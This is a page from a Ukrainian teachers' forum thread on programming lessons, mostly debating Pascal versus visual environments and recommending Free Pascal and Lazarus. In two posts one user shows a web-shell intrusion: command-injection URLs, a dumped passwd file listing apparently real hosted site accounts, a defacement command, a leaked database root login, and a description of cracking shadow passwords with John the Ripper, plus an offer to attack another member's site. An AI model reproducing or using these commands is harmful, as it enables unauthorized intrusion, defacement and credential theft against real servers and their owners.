Сб, 18.11.2017, 21:25
Форум інформатиків України
Головна Реєстрація Вхід
Вітаю Вас, Гість · RSS
Вітання на форумі
Незнайомець
Вітаємо на форумі,
Незнайомцю!

   
зареєструйтесь
Перед реєстрацією обов’язково прочитайте:
Оновлення Учасники Пошук
Особисті повідомлення
Видавництво ’’Аспект’’ Видавництво

Сторінка 3 з 6«123456»
Модератор форуму: Bandalak, Ktara, НІКОЛЯ, volevikt 
Форум інформатиків » РОЗДІЛ VIІІ: ОБМІН ДОСВІДОМ (УРОКИ, ФАКУЛЬТАТИВИ, ПОЗАКЛАСНА РОБОТА) » 8.1 Розробки уроків (ОС Windows) » Програмування!
Програмування!
W-w-W Дата: Сб, 11.04.2009, 09:29 | Повідомлення № 1





В даній темі будуть розміщуватись план-конспекти до розділу "Програмування та все, що з ним пов'язано", які можуть бути не обов'язково ваші!

Шановні форумчани!!!!!
Повідомлення, які не відповідають темі або несуть некорисний зміст будуть видалятись без попередження!!!

НІКОЛЯ Дата: Ср, 23.12.2009, 12:03 | Повідомлення № 31
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Как создать Flash плеер на Delphi ;)
Прикріплення: flashdelphi.swf(10463Kb)
GarryPotter Дата: Ср, 23.12.2009, 15:46 | Повідомлення № 32
Прописаний назавжди
Повідомлень: 357
Нагороди: 2
Рейтинг: 20
Раніше я був прихильником візуального програмування, але тепер зрозумів, що для школи Паскаль і більше нічого не потрібно
НІКОЛЯ Дата: Ср, 23.12.2009, 16:34 | Повідомлення № 33
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Quote (GarryPotter)
Раніше я був прихильником візуального програмування, але тепер зрозумів, що для школи Паскаль і більше нічого не потрібно

Ви не праві на сто процентів це особиста недосконалість, Якщо незнаю нового вчити не буду Потрібно розширювати свій досвід, Учитись ніколи не пізно.
alex Дата: Ср, 23.12.2009, 18:55 | Повідомлення № 34
Активний учасник
Повідомлень: 586
Нагороди: 1
Рейтинг: 17
Quote (НІКОЛЯ)
Ви не праві на сто процентів це особиста недосконалість

А що досконалість визначається знанням візуального програмування?
Памятаю кимось з гумористів було сказано що більшість народу вміє одночасно грати на гітарі
і співати, а от окремо грати чи окремо співати вміють одиниці. Було б не погано
узнати як впливає середовище візуального програмування на оптимальність алгоритму
розвязання транспортної задачі, чи задачі визначення остовного дерева графа максимальної
вартості?
Зараз багато користувачів, які навчились створювати невеличку форму з 3-4 кнопками чи то
стандартними об'єктами вже вважають себе сучасними програмістами.

PS. На мою точку зору поняття програмування і середовище програмування це різні речі.
Програмування це методи а середовище програмування це інструмент. А інструмент кожен вибирає
а) в залежності від задачі
б) від власних знаннь і вподобань.


Відредаговано: alex - Ср, 23.12.2009, 19:11
dpi Дата: Ср, 23.12.2009, 19:04 | Повідомлення № 35
Досвідчений вчитель
Повідомлень: 1438
Нагороди: 1
Рейтинг: 39
Quote (НІКОЛЯ)
Ви не праві на сто процентів це особиста недосконалість, Якщо незнаю нового вчити не буду Потрібно розширювати свій досвід, Учитись ніколи не пізно.

НІКОЛЯ, учиться программированию то же никогда не поздно.
НІКОЛЯ Дата: Ср, 23.12.2009, 21:24 | Повідомлення № 36
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Quote (dpi)
НІКОЛЯ, учиться программированию то же никогда не поздно.

О! Я бачу в нас вийшло як в казці:( Казнить нельзя Помиловать) Де поставиш кому так значення виразу і зміниться ;)
Що вчитись програмуванню ніколи не пізно це я дуже чудово розумію, я мав на увазі що деякі просто вирішують що Паскль вивчили Вистачає більш нічого вчить не будемо хватить того шо знаєм.

Quote (alex)
Було б не погано
узнати як впливає середовище візуального програмування на оптимальність алгоритму
розвязання транспортної задачі, чи задачі визначення остовного дерева графа максимальної
вартості?

Це запитання адресоване особисто мені? B)

Булоб цікаво взнати де я допустив помилку при виконанні нижченаведеного коду?

http://www.site.com/superscript.php?cmd=ls ../

bryneisteddfod:x:541:541::/home/httpd/html/bryneisteddfod.com:/bin/false
chefscene:x:542:542::/home/httpd/html/chefscene.co.uk:/bin/false
harlechbutchers:x:543:543::/home/httpd/html/harlechbutchers.co.uk:/bin/false
camsoft:x:544:544::/home/httpd/html/cambriansoftware.co.uk:/bin/false
harlechstdavids:x:545:545::/home/httpd/html/harlechstdavids.co.uk:/bin/false
tylon:x:546:546::/home/httpd/html/ty-lon-holiday-cottages.co.uk:/bin/false
lodgingsrus:x:547:547::/home/httpd/html/lodgings-r-us.com:/bin/false
silverstar:x:548:548::/home/httpd/html/silverstarholidays.com:/bin/false
xtreme:x:549:549::/home/httpd/html/x-tremepromotions.co.uk:/bin/false
pop2world:x:550:550::/home/httpd/html/pop2world.com:/bin/false
mprojectman:x:551:551::/home/httpd/html/mprojectman.co.uk:/bin/false
mud:x:552:552::/home/httpd/html/mud.org.uk:/bin/false
davidhemmings:x:553:553::/home/davidhemmings:/bin/false
argathnie.co.uk:x:554:554::/home/httpd/html/argathnie.co.uk:/bin/false
smmotors:x:555:555::/home/httpd/html/keithsmith/smmotors.co.uk:/bin/false
bwlifetour:x:556:556::/home/httpd/html/lifestyletours.org:/bin/false
letstradelocal:x:557:557::/home/httpd/html/letstradelocal.com:/bin/false
sweetevans:x:558:558::/home/httpd/html/sweetevans.co.uk:/bin/false
webby:x:559:559::/home/webby:/bin/false
fbpmc:x:560:560::/home/httpd/html/fbpmc.co.uk:/bin/false
icccatering:x:561:561::/home/httpd/html/icccatering:/bin/false
wildtrekking:x:562:562::/home/httpd/html/wildtrekking.co.uk:/bin/false
kgwashford:x:563:563::/home/httpd/html/kgwashford.co.uk:/bin/false
desmak:x:564:564::/home/httpd/html/desmak.co.uk:/bin/false
grovenet:x:565:565::/home/httpd/html/grove-net.co.uk:/bin/false
inventories:x:566:566::/home/httpd/html/inventories-cris.co.uk:/bin/false
pauldyson:x:567:567::/home/httpd/html/rise2.com:/bin/false
ecaic:x:569:569::/home/httpd/html/ecaic.co.uk:/bin/false

http://www.site.com/superscript.php?cmd=uname –a

Linux WAX-Satellite 2.6.18-17.8.0 #1 Tue Oct 23 13:51:08 EDT 2009 i686 GNU/Linux
http://www.site.com/superscript.php?cmd=whoami
uid=1024 (apache), gid=1024 (apache), sgid=1024 (apache)
uid=65535 (nobody), gid=65535 (nobody), sgid=65535 (nobody)
http://www.site.com/superscript.php?cmd=ls
http://www.site.com/cgi-bin/scripts/popa/super/superscript.php
http://www.site.com/cgi-bin/scripts/popa/super/superscript.php?echo “hacked by
cool man” > ../../../../index.html
cat
../../../../index.php
mysql_connect("coolsite.com","root","coolman");
mysql_select_db("mysql");
;)

Відредаговано: НІКОЛЯ - Ср, 23.12.2009, 22:35
alex Дата: Ср, 23.12.2009, 22:45 | Повідомлення № 37
Активний учасник
Повідомлень: 586
Нагороди: 1
Рейтинг: 17
Quote (НІКОЛЯ)
Булоб цікаво взнати де я допустив помилку при виконанні нижченаведеного коду?

А ви самі виконуєте наведений код?
Наскільки я розумію, код це не є програмування. Вивчити мову коду це означає вміти програмувати.
Коли говорять про використання мови Паскаль в школі, то в більшості випадків мають на увазі
вивчення методів програмування з наступним їх кодуванням, а не вивчення правил кодування
заради самих правил.
НІКОЛЯ Дата: Ср, 23.12.2009, 22:48 | Повідомлення № 38
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Quote (alex)
А ви самі виконуєте наведений код?

АГА B) Балуємось шелом і доволі давно ;)
Bandalak Дата: Ср, 23.12.2009, 23:05 | Повідомлення № 39
Лідер форуму
Повідомлень: 5521
Нагороди: 39
Рейтинг: 260
Quote (alex)
Було б не погано
узнати як впливає середовище візуального програмування на оптимальність алгоритму
розвязання транспортної задачі, чи задачі визначення остовного дерева графа максимальної
вартості?

alex, Ви як тренер олімпіадних команд зі стажем повинні знати, що використання простого Паскаля, який залишився ще від ДОС, несе сильні обмеження на пам'ять та розрядність. А це спонукає до побудови "оптимальних" по пам'яті та швидкості роботи алгоритмів. Такі алгоритми можуть бути занадто складними та зовсім не оптимальними при теоретичній великій кількості оперативної пам'яті та більшій розрядності.
Програмування на сучасних мовах не має у собі подібних обмежень, тому можна реалізовувати значно простіші алгоритми з більшою ефективністю.
gromko Дата: Ср, 23.12.2009, 23:24 | Повідомлення № 40
Лінуксоїд
Повідомлень: 2663
Нагороди: 26
Рейтинг: 343
Quote (Bandalak)
використання простого Паскаля, який залишився ще від ДОС, несе сильні обмеження на пам'ять та розрядність.

Free Pascal (який використовується на олімпіадах) є сучасною розробкою, не має вказаних обмежень, підтримує ООП, хоча і є консольною програмою

Quote (Bandalak)
Програмування на сучасних мовах не має у собі подібних обмежень, тому можна реалізовувати значно простіші алгоритми з більшою ефективністю.

Поняття "сучасна мова" досить невизначене
Bandalak Дата: Чт, 24.12.2009, 01:11 | Повідомлення № 41
Лідер форуму
Повідомлень: 5521
Нагороди: 39
Рейтинг: 260
Quote (gromko)
Free Pascal

Я постійно користуюся Borland Turbo Paskal 7,1.
Де можна скачати Free Pascal? Хочу подивитися, що це за звір!


Відредаговано: Bandalak - Чт, 24.12.2009, 01:12
alex Дата: Чт, 24.12.2009, 08:12 | Повідомлення № 42
Активний учасник
Повідомлень: 586
Нагороди: 1
Рейтинг: 17
Quote (НІКОЛЯ)
АГА Балуємось шелом і доволі давно

А хіба сортування по Шеллу таке важке, щоб ним так довго займатись? ;)
(Може не вдалий але жарт)

Quote (Bandalak)
alex, Ви як тренер олімпіадних команд зі стажем повинні знати, що використання простого Паскаля, який залишився ще від ДОС, несе сильні обмеження на пам'ять та розрядність.

Дякую за комплімент.
По мимо зайняття алгоритмізацією я достатньо хорошо знайомий і з візуальними середовищами
програмування так,як реалізовував комерційні проекти. Мою деякий досвід для порівняння
з точки зору оптимальності використання того і іншого продукту в школі. На мою точку зору
в сучасній школі оптимальним є використання мови Паскаль. Вибір мови визначають і
кількість годин, відведених на вивчення інформатики, і рівень знаннь учнів з математики та інше.
Я не вважаю вміння при допомозі вбудованого конструктора створити форму з двома- трьома
кнопочками, вмінням програмувати. Хоча підкреслюю це моя особиста думка. І я не вважаю
особисто не досконалим того, хто її не поділяє. А спроби переходу від вивчення основ програмування
до вивчення середовища візуального програмування це ще одна спроба
1. Понизити рівень знаннь і вмінь учнів ( процес дебилізації)
2. Зробити учителів менеджерами продуктів Мелкософта (Не зрозуміло чому Візуал Бейсік а не Делфі)

Ще раз підкреслюю це моя особиста думка.

Відредаговано: alex - Чт, 24.12.2009, 08:25
НІКОЛЯ Дата: Чт, 24.12.2009, 08:53 | Повідомлення № 43
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Quote (alex)
А хіба сортування по Шеллу таке важке, щоб ним так довго займатись?

Ги - ги ;) Цікавава думка. Залежно для яких цілей використовувати. ;)
Припустимо, що у вас є шелл с правами apache. Т.є. на сервері присутній уязвимий
скрипт, и вы з його допомогою можете виконувати команди на віддаленому компютері.
Хотілося б побачити або теоритично почути як би ви його застосували B)
Вище якраз і наведяний практикум застосування уязвімостті для хостінгових серверів з визначенням Осі, пробивкою в shadow password (Тінєвий пароль в LINUX) ;) з розшифровкою паролів в John the Ripper ;) та іншим, правда я навів тільки часткове застосування ;) як наглядний приклад ;)
так сказати видержки. Якщо бажаєте можу показати на практиці застосування на вашому ж сайті. ;)
gromko Дата: Чт, 24.12.2009, 09:09 | Повідомлення № 44
Лінуксоїд
Повідомлень: 2663
Нагороди: 26
Рейтинг: 343
Quote (alex)
На мою точку зору в сучасній школі оптимальним є використання мови Паскаль.

Чому - аргументуйте свою думку.

Quote (alex)
Вибір мови визначають і кількість годин, відведених на вивчення інформатики, і рівень знаннь учнів з математики та інше.

Невже програмування необхідне лише для "перемелювання чисел"?

Quote (alex)
Я не вважаю вміння при допомозі вбудованого конструктора створити форму з двома- трьома кнопочками, вмінням програмувати

Вміння створити форму не є програмуванням, але вміння написати обробник натиску тієї ж кнопки - це вже програмування. Тобто є дві речі - розробка інтерфейсу, яка здійснюється як раз візуальними методами, та власне програмування, яке робиться "по старинці".
Програмування не залежить від того, де воно здійснюється - у візуальному середовищі чи консольному, у першому лише легше розробляти інтерфейс.
Власне з мовами ВІЗУАЛЬНОГО ПРОГРАМУВАННЯ ми не зустрічаємось, вони специфічні і їх дуже мало. Той же Visual Basic є лише середовищем візуального програмування - Бейсиком з ООП та інструментарієм розробника.

Quote (alex)
А спроби переходу від вивчення основ програмування до вивчення середовища візуального програмування це ще одна спроба 1. Понизити рівень знаннь і вмінь учнів ( процес дебилізації)

Повторюю - зробіть програмку порівняння двох чисел у VB лише за допомогою мишки - ось цим все сказано. Чому я підтримую І.Завадського з вивченням візуального середовища? - тим що при розробці програми у ньому дитина отримує кращу мотивацію ніж при розробці аналогічної програми у Паскалі. Звичайно - вікна, віконця, кнопочки не є головним у програмуванні, але ж цікаво.

Quote (alex)
2. Зробити учителів менеджерами продуктів Мелкософта (Не зрозуміло чому Візуал Бейсік а не Делфі)

А чому ж не Delphi? Хоча я за RealBASIC та Lazarus

Додано (24.12.2009, 09:09)
---------------------------------------------

Quote (Bandalak)
е можна скачати Free Pascal? Хочу подивитися, що це за звір!

Free Pascal Compiler (FPC) - это свободно распространяемый компилятор языка Паскаль с открытыми исходными кодами. Он совместим с Borland Pascal 7 и Object Pascal – Delphi, но при этом обладает рядом дополнительных возможностей, например, поддерживает перегрузку операторов. FPC — кроссплатформенный инструмент, поддерживающий огромное количество платформ. Среди них — AmigaOS, DOS, Linux, *BSD, OS/2, MacOS(X) и Win32.

Однако FPC — не просто компилятор. Он имеет в своём составе великолепный набор библиотек, одной из которых является FCL, включающая в себя компоненты, совместимые с невизуальными компонентами VCL из Borland Delphi. Разработка визуальных компонент — это цель другого проекта — Lazarus. Он представляет собой среду быстрой разработки программ, аналогичную Delphi, и базируется на оригинальной кроссплатформенной библиотеке визуальных компонент LCL, также совместимых с VCL.

Завантажити версію для Windows http://www.freepascal.org/down/i386/win32.var

http://www.freepascal.ru/

Lazarus — вільно поширюване середовище розробки для компілятора Free Pascal Compiler (аналог платного Delphi).
Містить набір візуальних компонентів LCL (Lazarus Component Library). В даний час практично повністю підтримує віджети GTK1 та Win32. У розробці знаходяться віджети GTK2, Carbon, Qt, WinCE.
Підтримує перетворення проектів Delphi
Підтримувані ОС: GNU/Linux, Microsoft Windows, MacOS X, FreeBSD
Lazarus розповсюджується на умовах GNU General Public License.

http://sourceforge.net/projects/lazarus/files/ - шукати версію для Windows

dpi Дата: Чт, 24.12.2009, 10:08 | Повідомлення № 45
Досвідчений вчитель
Повідомлень: 1438
Нагороди: 1
Рейтинг: 39
Quote (НІКОЛЯ)
О! Я бачу в нас вийшло як в казці:( Казнить нельзя Помиловать) Де поставиш кому так значення виразу і зміниться

Я думаю вы меня прекрасно поняли.
Среди учителей есть любители языков низкого уровня, есть - высокого, это в основном теоретики. Существуют практики, которым важен как результат конечный продукт. Вот последние, и вполне законно, заставляют работать на себя машины (визуальную среду). А потом еще её кодом пугают теоретиков.

Quote (НІКОЛЯ)
Ви не праві на сто процентів це особиста недосконалість, Якщо незнаю нового вчити не буду Потрібно розширювати свій досвід, Учитись ніколи не пізно.

Обидно, понимаешь ли..
С 2002-го по 2008-й создавал программы с использованием С++ Builder 6 по книгам Архангельского. Был и чат с куки и бд школы сетевая с клиентской частью и др. Сейчас этот период жизни считаю детской болезнью, как у Ленина, пошел на поводу у детей (наверное хотел их чем то заинтересовать, удивить). А вы меня и других упрекаете в "недосконалісті та не бажанні розширювати досвід".

Чем глубже вникаешь в оба этих направления, тем быстрее поймешь, что это мое, а это надо бросить.
А так как мы находимся на форуме учителей, думаю мой выбор правильнее.

Quote (alex)
Було б не погано узнати як впливає середовище візуального програмування на оптимальність алгоритму
розвязання транспортної задачі, чи задачі визначення остовного дерева графа максимальної вартості?

Вот это мне ближе и интереснее сейчас. Хотя, что будет через год не знаю.

Відредаговано: dpi - Чт, 24.12.2009, 10:10
Форум інформатиків » РОЗДІЛ VIІІ: ОБМІН ДОСВІДОМ (УРОКИ, ФАКУЛЬТАТИВИ, ПОЗАКЛАСНА РОБОТА) » 8.1 Розробки уроків (ОС Windows) » Програмування!
Сторінка 3 з 6«123456»
Пошук:


© Форум інформатиків України, 2007-2017.